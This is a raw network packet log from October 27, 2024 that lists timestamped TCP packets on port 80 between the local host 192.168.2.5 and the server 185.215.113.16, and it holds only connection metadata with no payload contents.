Oct 27, 2024 17:17:27.777127981 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.777183056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777201891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777225018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777240038 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777256012 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777280092 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.777292013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777303934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.777316093 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.777420044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.784075022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.784096003 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.784111977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.784188032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.784188032 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.787875891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.787900925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.787916899 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.787933111 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.787949085 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.787976027 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.788803101 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.788830042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.788852930 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.788875103 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.788889885 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.788937092 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.789061069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.789094925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.789123058 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.789149046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.789170980 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.789191961 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.789213896 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.789244890 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.789340019 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.822052002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.822109938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.822144985 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.822149038 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.822176933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.822204113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.822212934 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.822406054 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.861839056 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.861896992 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.861948013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.861979961 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862018108 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862052917 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862086058 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862091064 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862121105 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862149954 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862190962 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862200022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862234116 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862232924 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862307072 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862341881 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862375021 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862394094 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862426043 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862427950 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862478018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862507105 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862533092 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862560987 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862612009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862644911 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862663031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862693071 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862721920 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862740993 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862772942 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862791061 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862823963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862860918 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862910032 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862937927 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.862958908 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.862993002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863025904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863029957 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863074064 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863086939 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863125086 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863176107 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863208055 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863236904 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863266945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863270044 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863302946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863354921 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863380909 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863415956 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863450050 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863478899 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863482952 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863513947 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863517046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863549948 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863579035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863580942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863615036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863646984 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863647938 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863681078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863713026 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863744974 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863746881 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863780022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863810062 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863812923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863847017 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863878012 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863879919 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863908052 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863912106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863944054 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.863976002 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.863976955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864012957 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864042044 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864044905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864077091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864118099 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864118099 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864151955 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864186049 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864214897 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864217997 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864247084 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864253998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864285946 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864320040 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864332914 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864352942 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864382029 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864388943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864476919 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864497900 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864506960 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864557981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864588022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864619970 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864650011 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864655018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864687920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864716053 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864720106 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864764929 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864797115 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864818096 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864850998 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864883900 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.864936113 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.864983082 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.865016937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.865051031 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.865082979 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.865083933 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.865118027 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.865148067 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.865905046 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.893902063 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.893970013 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894005060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894030094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894057989 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894088984 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894108057 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894157887 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894188881 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894195080 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894244909 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894279957 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894294977 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894342899 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894376993 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894424915 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894439936 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894439936 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894459009 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894490004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894516945 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894522905 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894550085 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894602060 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894634962 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894665956 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894668102 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894701958 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894731998 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894733906 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894767046 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894798040 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894798994 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894833088 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894862890 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894865036 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894898891 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894928932 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894931078 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894963980 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.894995928 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.894998074 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.895030975 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.895061016 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.895062923 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.895097017 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.895128012 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.895128965 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.895330906 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.901415110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.901501894 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.901540041 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.901711941 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.905241966 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.905297995 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.905347109 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.905385017 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.905420065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.905421972 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.905421972 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.905453920 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.905487061 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.906291008 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906306982 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906322002 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906337976 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.906630993 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.906862974 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906877995 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906893015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906915903 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906932116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906941891 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.906946898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906961918 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.906963110 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.906980991 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.907004118 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.907071114 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.939445972 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.939532042 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.939563990 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.939598083 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.939608097 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.939631939 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.939660072 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.939666986 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.939721107 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979146004 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979221106 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979271889 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979283094 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979305983 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979394913 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979412079 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979444981 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979480982 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979506016 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979510069 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979542971 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979578018 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979592085 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979626894 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979630947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979682922 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979717016 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979739904 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979768991 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979800940 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979815006 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979835033 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979866982 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979904890 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979916096 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979935884 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979953051 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.979969025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.979999065 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980032921 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980051041 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980067015 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980081081 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980098963 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980151892 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980180025 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980200052 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980212927 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980242014 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980262041 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980294943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980331898 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980341911 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980369091 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980376005 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980420113 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980457067 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980468035 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980494022 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980528116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980540991 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980562925 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980596066 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980604887 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980647087 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980680943 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980693102 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980735064 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980763912 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980813026 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980813026 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980846882 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980879068 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980881929 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980914116 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980936050 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.980952978 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980986118 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.980998039 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.981018066 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981050968 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981081963 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.981085062 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981117964 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981139898 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.981149912 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981183052 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981194019 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.981210947 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981241941 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981265068 CET	49714	80	192.168.2.5	185.215.113.16
Oct 27, 2024 17:17:27.981276035 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981308937 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981342077 CET	80	49714	185.215.113.16	192.168.2.5
Oct 27, 2024 17:17:27.981360912 CET	49714	80	192.168.2.5	185.215.113.16
